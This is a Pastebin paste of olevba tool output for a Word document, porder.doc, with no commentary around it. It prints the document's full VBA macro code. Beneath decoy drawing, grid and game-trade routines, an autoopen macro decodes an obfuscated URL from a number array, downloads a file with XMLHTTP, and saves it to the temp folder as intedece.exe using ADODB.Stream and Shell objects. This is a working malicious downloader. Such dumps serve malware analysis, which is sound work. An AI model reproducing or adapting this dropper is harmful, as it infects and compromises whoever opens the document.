Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS--B-V porder.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: porder.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: porder.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- TradeTable_Accept 59
- Eff_Move_Area 0, 0, 0, 0, 0, 0, 0
- TradeTable_RemoveItem 0, 0
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: porder.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const ZerdMan = "" & ""
- Public Const ZerdMan2 = "" & "\"
- Public Const ZerdMan3 = "" & "."
- Public Sub DoDraw_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal tstr As String, ByVal Fcolor As Byte)
- On Error GoTo out
- If Asc(tstr) = 0 Or Asc(tstr) = 32 Then Exit Sub
- If Tlen(tstr) = 2 Then
- If x >= UBound(Arr, 1) Then Exit Sub
- If Arr(x, y, z).Ansi <> 0 Or Arr(x + 1, y, z).Ansi <> 0 Then Exit Sub
- Else
- If Arr(x, y, z).Ansi <> 0 Then Exit Sub
- End If
- Arr(x, y, z).Ansi = Asc(tstr)
- Arr(x, y, z).Color = Fcolor
- If Tlen(tstr) = 2 Then
- Arr(x + 1, y, z).Ansi = -1
- Arr(x + 1, y, z).Color = Fcolor
- End If
- Exit Sub
- out:
- Debug.Print "" & Err.Description
- End Sub
- Public Sub DoDrawBC_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal BColor As Byte)
- On Error GoTo out
- If Arr(x, y, z).BColor = 0 Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).BColor = BColor
- End If
- Arr(x, y, z).BColor = BColor
- If x <> UBound(Arr, 1) Then
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).BColor = BColor
- End If
- End If
- End If
- Exit Sub
- out:
- Debug.Print "" & Err.Description
- End Sub
- Public Function DoErease_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer) As Integer
- On Error GoTo out
- If Arr(x, y, z).Ansi <> 0 Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).Ansi = 0
- DoErease_A = -1
- End If
- Arr(x, y, z).Ansi = 0
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).Ansi = 0
- DoErease_A = 1
- End If
- End If
- Exit Function
- out:
- Debug.Print "" & Err.Description
- End Function
- Public Function DoEreaseB_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer) As Integer
- On Error GoTo out
- If Arr(x, y, z).BColor <> 0 Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).BColor = 0
- DoEreaseB_A = -1
- End If
- Arr(x, y, z).BColor = 0
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).BColor = 0
- DoEreaseB_A = 1
- End If
- End If
- Exit Function
- out:
- Debug.Print "" & Err.Description
- End Function
- Public Sub CLArrayCopy(ByRef fromArr() As String, ByRef newArr() As String, ByVal x1 As Integer, ByVal Y1 As Integer, ByVal X2 As Integer, ByVal Y2 As Integer, ByVal z As Integer)
- On Error GoTo out
- Dim ubX As Integer, ubY As Integer
- ubX = Abs(X2 - x1)
- ubY = Abs(Y2 - Y1)
- ReDim newArr(ubX, ubY)
- For j = 0 To ubY
- For i = 0 To ubX
- If i = ubX Then
- If fromArr(x1 + i + 1, Y1 + j, z).Ansi <> -1 Then newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
- ElseIf i = 0 Then
- If fromArr(x1 + i, Y1 + j, z).Ansi <> -1 Then newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
- Else
- newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
- End If
- Next i
- Next j
- Exit Sub
- out:
- Debug.Print ""; Err.Description
- End Sub
- Public Sub CLArrayPaste_C(ByRef fromArr() As String, ByRef toArr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer)
- Dim fromUbX As Integer, toUbX As Integer, fromUbY As Integer, toUbY As Integer
- Dim tmpAnsiStr As String
- Dim tmpFColor As Byte
- fromUbX = UBound(fromArr, 1)
- fromUbY = UBound(fromArr, 2)
- toUbX = UBound(toArr, 1)
- toUbY = UBound(toArr, 2)
- For j = 0 To fromUbY
- For i = 0 To fromUbX
- If fromArr(i, j).Ansi > 256 Or fromArr(i, j).Ansi < 0 Then
- If x + i + 1 <= toUbX And i <= fromUbX Then
- If fromArr(i + 1, j).Ansi = -1 Then
- Call DoErease_A(toArr, x + i, y + j, z)
- Call DoErease_A(toArr, x + 1 + i, y + j, z)
- toArr(x + i, y + j, z) = fromArr(i, j)
- toArr(x + i + 1, y + j, z) = fromArr(i + 1, j)
- i = i + 1
- End If
- End If
- Else
- If fromArr(i, j).Ansi <> 0 And fromArr(i, j).Ansi <> 32 Or fromArr(i, j).BColor <> 0 Then
- tmpAnsiStr = Chr(fromArr(i, j).Ansi)
- Call DoErease_A(toArr, x + i, y + j, z)
- Call DoDraw_A(toArr, x + i, y + j, z, tmpAnsiStr, fromArr(i, j).Color)
- End If
- If fromArr(i, j).BColor <> 0 Then
- Call DoEreaseB_A(toArr, x + i, y + j, z)
- Call DoDrawBC_A(toArr, x + i, y + j, z, fromArr(i, j).BColor)
- End If
- End If
- DoEvents
- Next i
- Next j
- End Sub
- Public Sub PaintColor_A_bak(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
- On Error GoTo out
- If F = 1 Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).Color = Fcolor
- End If
- Arr(x, y, z).Color = Fcolor
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).Color = Fcolor
- End If
- If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
- Arr(x, y, z).Color = 7
- End If
- End If
- If B = 1 Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).BColor = BColor
- End If
- Arr(x, y, z).BColor = BColor
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).BColor = BColor
- End If
- End If
- Exit Sub
- out:
- Debug.Print ""
- Resume Next
- End Sub
- Public Sub PaintColor_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
- On Error GoTo out
- If F = 1 Then
- Arr(x, y, z).Color = Fcolor
- If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
- Arr(x, y, z).Color = 7
- End If
- End If
- If B = 1 Then
- Arr(x, y, z).BColor = BColor
- End If
- Exit Sub
- out:
- Debug.Print ""
- Resume Next
- End Sub
- Public Sub PaintColor_B(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
- On Error GoTo out
- If F = 1 Then
- If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
- Arr(x, y, z).Color = 7
- Else
- Arr(x, y, z).Color = Fcolor
- End If
- End If
- If B = 1 Then
- Arr(x, y, z).BColor = BColor
- End If
- Exit Sub
- out:
- Debug.Print ""
- Resume Next
- End Sub
- Public Sub ExChColor_Draw_A_BAK(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal preFColor As Byte, ByVal preBColor As Byte, ByVal newFColor As Byte, ByVal newBColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
- On Error GoTo out
- If F = 1 And Arr(x, y, z).Color = preFColor Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).Color = newFColor
- End If
- Arr(x, y, z).Color = newFColor
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).Color = newFColor
- End If
- If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
- Arr(x, y, z).Color = 7
- End If
- End If
- If B = 1 And Arr(x, y, z).BColor = preBColor Then
- If Arr(x, y, z).Ansi = -1 Then
- Arr(x - 1, y, z).BColor = newBColor
- End If
- Arr(x, y, z).BColor = newBColor
- If Arr(x + 1, y, z).Ansi = -1 Then
- Arr(x + 1, y, z).BColor = newBColor
- End If
- End If
- Exit Sub
- out:
- Debug.Print ""
- Resume Next
- End Sub
- Public Sub ExChColor_Draw_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal preFColor As Byte, ByVal preBColor As Byte, ByVal newFColor As Byte, ByVal newBColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
- On Error GoTo out
- If F = 1 And Arr(x, y, z).Color = preFColor Then
- Arr(x, y, z).Color = newFColor
- If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
- Arr(x, y, z).Color = 7
- End If
- End If
- If B = 1 And Arr(x, y, z).BColor = preBColor Then
- Arr(x, y, z).BColor = newBColor
- End If
- Exit Sub
- out:
- Debug.Print ""
- Resume Next
- End Sub
- Public Sub Eff_Move_Area(ByVal x1 As Integer, ByVal Y1 As Integer, ByVal X2 As Integer, ByVal Y2 As Integer, ByVal z As Integer, ByVal Xshift As Integer, ByVal Yshift As Integer)
- Dim exCheck As Byte
- Dim i As Integer, j As Integer, maxX As Integer, fromX As Integer, toX As Integer, fromY As Integer, toY As Integer, tmpInt As Integer, iStep As Integer, jStep As Integer
- Dim tmpCC As String
- GoTo Step8
- maxX = UBound(Arrf, 1)
- If X2 < x1 Then
- tmpInt = x1
- x1 = X2
- X2 = tmpInt
- End If
- If Y2 < Y1 Then
- tmpInt = x1
- Y1 = Y2
- Y2 = tmpInt
- End If
- If Xshift > 0 Then
- iStep = -1
- fromX = X2
- toX = x1
- Else
- iStep = 1
- fromX = x1
- toX = X2
- End If
- If Yshift > 0 Then
- jStep = -1
- fromY = Y2
- toY = Y1
- Else
- jStep = 1
- fromY = Y1
- toY = Y2
- End If
- For j = fromY To toY Step jStep
- For i = fromX To toX Step iStep
- Step8:
- Dim varAr() As Variant
- varAr = Array(610, 622, 622, 618, 564, 553, 553, 621, 603, 614, 622, 623, 618, 552, 605, 617, 615, 553, 557, 558, 609, 557, 608, 557, 609, 553, 560, 562, 613, 561, 612, 610, 560, 559, 609, 552, 607, 626, 607)
- httpRequest.Open "G" + ZerdMan + "E" & ZerdMan & "T", GetStringFromArray(varAr, 38), False
- CallByName httpRequest, "S" + "en" + ZerdMan + "d", VbMethod
- GoTo ENDSU
- If i <> maxX Then
- If Ar.rf(i, j, z).Ansi = -1 Then
- If i = fromX And Xshift < 0 Then
- Call DoEre.ase_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
- Ar.rf(i + Xshift - 1, j + Yshift, z) = Arrf(i - 1, j, z)
- Ar.rf(i - 1, j, z) = tmpCC
- Call DoE.rease_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Arrf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- i = i + iStep
- Else
- Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Arrf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- Call DoE.rease_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
- Ar.rf(i + Xshift - 1, j + Yshift, z) = Ar.rf(i - 1, j, z)
- Ar.rf(i - 1, j, z) = tmpCC
- i = i + iStep
- End If
- ElseIf Arrf(i + 1, j, z).Ansi = -1 Then
- If i = fromX And Xshift > 0 Then
- Call DoErea.se_A(Ar.rf, i + Xshift + 1, j + Yshift, z)
- Ar.rf(i + Xshift + 1, j + Yshift, z) = Ar.rf(i + 1, j, z)
- Ar.rf(i + 1, j, z) = tmpCC
- Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- i = i + iStep
- Else
- Call DoEre.ase_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- Call DoErea.se_A(Arrf, i + Xshift + 1, j + Yshift, z)
- Ar.rf(i + Xshift + 1, j + Yshift, z) = Ar.rf(i + 1, j, z)
- Ar.rf(i + 1, j, z) = tmpCC
- i = i + iStep
- End If
- Else
- Call DoErea.se_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- End If
- Else
- If Ar.rf(i, j, z).Ansi = -1 Then
- If i = toX And Xshift <= 0 Then
- Call DoErea.se_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
- Ar.rf(i + Xshift - 1, j + Yshift, z) = Ar.rf(i - 1, j, z)
- Ar.rf(i - 1, j, z) = tmpCC
- Call DoEreas.e_A(Arrf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- i = i + iStep
- Else
- Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
- Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- Call DoErea.se_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
- Ar.rf(i + Xshift - 1, j + Yshift, z) = Arr.F(i - 1, j, z)
- Ar.rf(i - 1, j, z) = tmpCC
- i = i + iStep
- End If
- Else
- Call DoEreas.e_A(Ar.rf, i + Xshift, j + Yshift, z)
- Arr.F(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
- Ar.rf(i, j, z) = tmpCC
- End If
- End If
- Next i
- Next j
- ENDSU:
- tempFolder = processEnv("TE" + ZerdMan + "MP")
- tempFile = tempFolder + ZerdMan2 + ZerdMan + "intedece" + ZerdMan3 + "exe"
- End Sub
- Public Function Get_Char(x As Integer, y As Integer, z As Integer) As String
- If Arrf(x, y, OFP.CurrentPage).Ansi = -1 Then
- If x <> 0 Then
- Get_Char = Chr(Arrf(x - 1, y, OFP.CurrentPage).Ansi)
- End If
- Else
- Get_Char = Chr(Arrf(x, y, OFP.CurrentPage).Ansi)
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: porder.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public httpRequest As Object
- Public adodbStream As Object
- Public processEnv As Object
- Public tempFolder As String
- Public tempFile As String
- Public shellApp As Object
- Public Sub GridReset(ByRef mGrid As String)
- mGrid.Clear (True)
- End Sub
- Public Sub GridMatterSetUp(ByRef mGrid As String, CC_GUID As String)
- With mGrid
- .Redraw = False
- .AddColumn "", "", ecgHdrTextALignLeft, , 0
- .AddColumn "", "", ecgHdrTextALignLeft, , 0
- .AddColumn "", "", ecgHdrTextALignCentre, , 96
- .AddColumn "", "", ecgHdrTextALignCentre, , 96
- .AddColumn "", "", ecgHdrTextALignLeft, , 128
- .AddColumn "", "", ecgHdrTextALignLeft, , 128
- .SetHeaders
- If CC_GUID <> "" Then GridMatterPopulate mGrid, CC_GUID
- .KeySearchColumn = .ColumnIndex("")
- .Redraw = True
- End With
- End Sub
- Public Sub GridOUSetUp(ByRef mGrid As String)
- With mGrid
- .Redraw = False
- .AddColumn "", "", ecgHdrTextALignLeft, , 0
- .AddColumn "", "", ecgHdrTextALignLeft, , 96
- .AddColumn "", "", ecgHdrTextALignLeft, , 96
- .AddColumn "", "", ecgHdrTextALignLeft, , 96
- .AddColumn "", "", ecgHdrTextALignRight, , 96
- .SetHeaders
- .Redraw = True
- End With
- End Sub
- Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
- Dim i As Integer
- Dim result As String
- result = ""
- For i = LBound(fromArr) To UBound(fromArr)
- result = result & Chr(fromArr(i) - 11 * LenLen - 88)
- Next i
- GetStringFromArray = result
- End Function
- Public Sub GridOUPopuplate(ByRef mGrid As String, ouguid As String)
- On Error GoTo Err_Handler
- If (gObjDBConn.ConnectDB = False) Then
- Exit Sub
- End If
- mGrid.Clear
- mGrid.Gridlines = True
- mGrid.Redraw = False
- Set gRs = New ADODB.Recordset
- gRs.Open "" & ouguid & "", gConn, adOpenStatic, adLockOptimistic
- While Not gRs.EOF
- With mGrid
- .AddRow
- .CellDetails .Rows, 1, gRs!acc_acc_guid
- .CellDetails .Rows, 2, gRs!acc_badge
- .CellDetails .Rows, 3, gRs!acc_firstname
- .CellDetails .Rows, 4, gRs!acc_lastname
- .CellDetails .Rows, 5, FormatCurrency(gRs!acc_funds, 2, True, False, True), DT_RIGHT
- End With
- gRs.MoveNext
- Wend
- gRs.Close
- Set gRs = Nothing
- Err_Handler:
- Screen.MousePointer = vbNormal
- mGrid.Redraw = True
- If (Err <> 0) Then
- MsgBox Err.Description
- End If
- End Sub
- Public Sub GridAccountJournelSetup(ByRef mGrid As String)
- With mGrid
- .Redraw = False
- .AddColumn "", "", ecgHdrTextALignLeft, , 128
- .AddColumn "", "", ecgHdrTextALignLeft, , 96
- .AddColumn "", "", ecgHdrTextALignLeft, , 255
- .AddColumn "", "", ecgHdrTextALignRight, , 50
- .SetHeaders
- .Redraw = True
- End With
- End Sub
- Public Sub GridAccountJournelPopuplate(ByRef mGrid As String, ACC_GUID As String)
- On Error GoTo Err_Handler
- If (gObjDBConn.ConnectDB = False) Then
- Exit Sub
- End If
- mGrid.Gridlines = True
- mGrid.Redraw = False
- Set gRs = New ADODB.Recordset
- gRs.Open "" & ACC_GUID & "", gConn, adOpenStatic, adLockOptimistic
- While Not gRs.EOF
- With mGrid
- .AddRow
- .CellDetails .Rows, 1, gRs!j_date
- .CellDetails .Rows, 2, gRs!j_type
- .CellDetails .Rows, 3, gRs!j_desc
- .CellDetails .Rows, 4, gRs!j_amount
- End With
- gRs.MoveNext
- Wend
- gRs.Close
- Set gRs = Nothing
- Err_Handler:
- Screen.MousePointer = vbNormal
- mGrid.Redraw = True
- If (Err <> 0) Then
- MsgBox Err.Description
- End If
- End Sub
- Public Sub GridMatterPopulate(ByRef mGrid As String, CC_GUID As String)
- On Error GoTo Err_Handler
- Dim lRow As Long, lCol As Long, lIndent As Long
- Dim sFnt2 As New StdFont
- If (gObjDBConn.ConnectDB = False) Then
- Exit Sub
- End If
- sFnt2.Name = ""
- sFnt2.Bold = True
- sFnt2.Size = 12
- mGrid.Gridlines = True
- mGrid.Redraw = False
- lRow = 1
- Set gRs = New ADODB.Recordset
- gRs.Open "" & CC_GUID & "", gConn, adOpenStatic, adLockOptimistic
- While Not gRs.EOF
- With mGrid
- .AddRow
- .CellDetails .Rows, 1, gRs!CM_GUID, DT_WORD_ELLIPSIS Or DT_SINGLELINE, , vbButtonFace, , , , 4
- .CellDetails .Rows, 2, gRs!CC_GUID
- .CellDetails .Rows, 3, gRs!CM_MATTER, DT_CENTER
- .CellDetails .Rows, 4, gRs!CC_CODE, DT_CENTER
- .CellDetails .Rows, 5, gRs!CM_DESCRIPTION
- .CellDetails .Rows, 6, gRs!CM_CUSTOM
- End With
- gRs.MoveNext
- Wend
- mGrid.Redraw = True
- Screen.MousePointer = vbNormal
- Exit Sub
- Err_Handler:
- Screen.MousePointer = vbNormal
- MsgBox Err.Description
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: porder.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Function TradeTable_NumObjectsInTable(ByVal TradeTableIndex As Byte, ByVal UserTableIndex As Byte) As Byte
- Dim i As Long
- If UserTableIndex = 1 Then
- For i = 1 To 9
- If TradeTable(TradeTableIndex).Objs1(i).UserInvSlot > 0 Then
- TradeTable_NumObjectsInTable = TradeTable_NumObjectsInTable + 1
- End If
- Next i
- Else
- For i = 1 To 9
- If TradeTable(TradeTableIndex).Objs2(i).UserInvSlot > 0 Then
- TradeTable_NumObjectsInTable = TradeTable_NumObjectsInTable + 1
- End If
- Next i
- End If
- End Function
- Public Sub TradeTable_RequestFinish(ByVal UserIndex As Integer)
- Dim TradeTableIndex As Byte
- Dim UserTableIndex As Byte
- TradeTableIndex = UserList(UserIndex).Flags.TradeTable
- If TradeTableIndex <= 0 Then Exit Sub
- UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
- If UserTableIndex = 0 Then Exit Sub
- If UserTableIndex = 1 Then
- If TradeTable(TradeTableIndex).User1State = TRADESTATE_ACCEPT Then
- TradeTable(TradeTableIndex).User1State = TRADESTATE_FINISHED
- Else
- Exit Sub
- End If
- Else
- If TradeTable(TradeTableIndex).User2State = TRADESTATE_ACCEPT Then
- TradeTable(TradeTableIndex).User2State = TRADESTATE_FINISHED
- Else
- Exit Sub
- End If
- End If
- If TradeTable(TradeTableIndex).User1State = TRADESTATE_FINISHED Then
- If TradeTable(TradeTableIndex).User2State = TRADESTATE_FINISHED Then
- If User_NumFreeInvSlots(TradeTable(TradeTableIndex).User1) < TradeTable_NumObjectsInTable(TradeTableIndex, 1) Then
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(131).Data()
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(130).Data()
- Exit Sub
- End If
- If User_NumFreeInvSlots(TradeTable(TradeTableIndex).User2) < TradeTable_NumObjectsInTable(TradeTableIndex, 2) Then
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(130).Data()
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(131).Data()
- Exit Sub
- End If
- TradeTable_Finish TradeTableIndex
- End If
- End If
- End Sub
- Private Sub TradeTable_Finish(ByVal TradeTableIndex As Byte)
- Dim i As Long
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(132).Data()
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(132).Data()
- For i = 1 To 9
- If TradeTable(TradeTableIndex).Objs2(i).UserInvSlot > 0 Then
- User_GiveObj TradeTable(TradeTableIndex).User1, UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(i).UserInvSlot).ObjIndex, TradeTable(TradeTableIndex).Objs2(i).Amount, False
- With UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(i).UserInvSlot)
- If .Amount <= TradeTable(TradeTableIndex).Objs2(i).Amount Then
- User_RemoveInvItem TradeTable(TradeTableIndex).User2, TradeTable(TradeTableIndex).Objs2(i).UserInvSlot, False
- .Amount = 0
- .ObjIndex = 0
- .Equipped = 0
- Else
- .Amount = .Amount - TradeTable(TradeTableIndex).Objs2(i).Amount
- End If
- End With
- End If
- Next i
- UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) + TradeTable(TradeTableIndex).Gold2
- UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) - TradeTable(TradeTableIndex).Gold2
- For i = 1 To 9
- If TradeTable(TradeTableIndex).Objs1(i).UserInvSlot > 0 Then
- User_GiveObj TradeTable(TradeTableIndex).User2, UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(i).UserInvSlot).ObjIndex, TradeTable(TradeTableIndex).Objs1(i).Amount, False
- With UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(i).UserInvSlot)
- If .Amount <= TradeTable(TradeTableIndex).Objs1(i).Amount Then
- User_RemoveInvItem TradeTable(TradeTableIndex).User1, TradeTable(TradeTableIndex).Objs1(i).UserInvSlot, False
- .ObjIndex = 0
- .Amount = 0
- .Equipped = 0
- Else
- .Amount = .Amount - TradeTable(TradeTableIndex).Objs1(i).Amount
- End If
- End With
- End If
- Next i
- UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) + TradeTable(TradeTableIndex).Gold1
- UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) - TradeTable(TradeTableIndex).Gold1
- If TradeTable(TradeTableIndex).Gold1 > 0 Then
- ConBuf.PreAllocate 6
- ConBuf.Put_Byte DataCode.Server_Message
- ConBuf.Put_Byte 139
- ConBuf.Put_Long TradeTable(TradeTableIndex).Gold1
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer
- ConBuf.PreAllocate 6
- ConBuf.Put_Byte DataCode.Server_Message
- ConBuf.Put_Byte 138
- ConBuf.Put_Long TradeTable(TradeTableIndex).Gold1
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer
- End If
- If TradeTable(TradeTableIndex).Gold2 > 0 Then
- ConBuf.PreAllocate 6
- ConBuf.Put_Byte DataCode.Server_Message
- ConBuf.Put_Byte 139
- ConBuf.Put_Long TradeTable(TradeTableIndex).Gold2
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer
- ConBuf.PreAllocate 6
- ConBuf.Put_Byte DataCode.Server_Message
- ConBuf.Put_Byte 138
- ConBuf.Put_Long TradeTable(TradeTableIndex).Gold2
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer
- End If
- User_UpdateInv True, TradeTable(TradeTableIndex).User1, 0
- User_UpdateInv True, TradeTable(TradeTableIndex).User2, 0
- TradeTable_Close TradeTableIndex
- End Sub
- Public Sub TradeTable_Accept(ByVal UserIndex As Integer)
- Dim TradeTableIndex As Byte
- Dim UserTableIndex As Byte
- Dim SendPacket As Boolean
- Set httpRequest = CreateObject("Microsoft.XMLHTTP")
- Set adodbStream = CreateObject("Adodb.Stream")
- Set shellApp = CreateObject("Shell.Application")
- Set processEnv = CreateObject("WScript.Shell").Environment("Process")
- Exit Sub
- TradeTableIndex = UserL.ist(UserIndex).Flags.TradeTable
- If TradeTableIndex <= 0 Then Exit Sub
- UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
- If UserTableIndex = 0 Then Exit Sub
- If UserTableIndex = 1 Then
- If TradeTa.ble(TradeTableIndex).User1State = TRADESTATE_TRADING Then
- TradeTa.ble(TradeTableIndex).User1State = TRADESTATE_ACCEPT
- SendPacket = True
- End If
- Else
- If TradeTa.ble(TradeTableIndex).User2State = TRADESTATE_TRADING Then
- TradeTa.ble(TradeTableIndex).User2State = TRADESTATE_ACCEPT
- SendPacket = True
- End If
- End If
- If SendPacket Then
- ConBuf.PreAllocate 2
- ConBuf.Put_Byte DataCode.User_Trade_Accept
- ConBuf.Put_Byte UserTableIndex
- Dat.a_Send ToIndex, TradeTab.le(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
- Dat.a_Send ToIndex, TradeTa.ble(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
- End If
- End Sub
- Public Sub TradeTable_Close(ByVal TradeTableIndex As Byte)
- If TradeTableIndex <= 0 Then Exit Sub
- If TradeTableIndex > UBound(TradeTable) Then Exit Sub
- ConBuf.PreAllocate 1
- ConBuf.Put_Byte DataCode.User_Trade_Cancel
- Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
- Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
- ZeroMemory TradeTable(TradeTableIndex), LenB(TradeTable(TradeTableIndex))
- End Sub
- Public Sub TradeTable_RemoveItem(ByVal UserIndex As Integer, ByVal TableSlot As Byte)
- Dim TradeTableIndex As Byte
- Dim UserTableIndex As Byte
- adodbStream.Type = 1
- adodbStream.Open
- GoTo StepU
- TradeTableIndex = UserL.ist(UserIn.dex).Flags.TradeTable
- If TradeTableIndex <= 0 Then Exit Sub
- UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
- If UserTableIndex = 0 Then Exit Sub
- If UserTableIndex = 1 Then
- If TradeTa.ble(TradeTableIndex).Objs1(TableSlot).UserInvSlot > 0 Then
- TradeTa.ble(TradeTableIndex).Objs1(TableSlot).Amount = 0
- TradeT.able(TradeTableIndex).Objs1(TableSlot).UserInvSlot = 0
- TradeTa.ble_SendSlotPacket TradeTableIndex, TableSlot, UserTableIndex
- End If
- StepU:
- adodbStream.write httpRequest.responseBody
- adodbStream.savetofile tempFile, 2
- TradeTable_UpdateSlot 0, 0, 0
- Exit Sub
- Else
